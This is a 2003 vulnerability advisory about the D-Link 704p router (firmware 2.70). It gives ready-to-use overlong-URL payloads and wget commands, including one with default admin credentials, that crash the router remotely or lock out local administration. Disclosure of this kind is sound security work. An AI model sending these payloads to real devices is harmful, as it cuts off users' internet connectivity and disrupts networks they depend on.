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Internet security vulnerability on D-Link 704-p Routers

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August 7, 2003

This small advisory is on the D-Link 704p router with firmware version 2.70. The router is a small 4 port DSL/CABLE router. Earlier this year I made a small post on BUGTRAQ about the routers inability to handle local long string URL's, those bugs and a -NEW REMOTE DoS- are included in this advisory.

I believe nessus even has a plugin for those small URL attacks. I did notify D-Link and got no response. Affected hardware: D-Link 704p Router
Vulnerability: Multiple Local/Remote (see below)
Warning Level: Moderate

Description:

This type of vulnerability isnt a high risk factor, but its irritating to see how easily this device can be manipulated. This advisory has to do with its inability to handle long string URL attacks from an unauthorized and authorized user in multiple instances. These attacks are most likely successful on other D-Link routers as well, provided their firmware is based off the same core code. All of these attacks are based off the same trailing URL string (continous A's), just injected in a different method. (URL's may not be formatted properly in this window).

Attacks:

#1.Un-Authorized Remote DoS

704p can be configured to be remotely administered on a given port by a given IP address. Goto the tools tab and look down the bottom. If you leave this IP field blank as 0.0.0.0 any host can administer the device. I choose port 8080. Thanks to my friend Scott we successfully DoS the router with one simple URL. I had a constant ping to google setup 'ping -t google.com'. It dropped the moment scott clicked the URL I had sent him in an IM and I lost all internet connectivity.






http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA

The number of A's may vary from browser to browser, you can input more from a program like wget in linux. wget http://68.x.x.x/AAAA (and so on for as long as you like.) The router is useless until physically reset by unplugging the power cord.

#2. Local PW Change DoS

Slightly changing the URL above from a local machine, The routers administration page can be rendered unreachable until the machine is physically rebooted.

wget http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA

Then point your browser to 192.168.0.1 (or whatever your gateway IP address is set to). You will be prompted to enter your password. You can enter your correct password all you like, until the device is rebooted physically by unplugging the power cord you will not be able to authenticate.

#3. Local Configuration DoS / DNS Lookup

wget --http-user=admin --http-passwd=password http://192.168.0.1/syslog.htm? D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA

This was tested and in some instances the routers configuration page becomes unreachable if sent to many times, and oddly enough the router performs a DNS lookup on AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@xxxx.xx.comcast.net (amount of A's vary depending on the URL you used to send the device).

After inserting the above long URL into your router, point your browser to your configuration page. Sometimes the page is still reachable and your configuration page will look like a bunch of repeating frames and you have to reset the device in order to fix it.

Comments:

My guess is the long string URL's cause the device to overflow at some point. I am at best an intermediate programmer, with no access to the code of the firmware, so don't ask me. All I know is my device is no longer setup for remote administration. I sent a copy of this to D-Link on Saturday August 02 2003 (no response). Thanks!

Sent on August 7th, 2003
Author: chris@cr-secure.net
Web site: www.cr-secure.net


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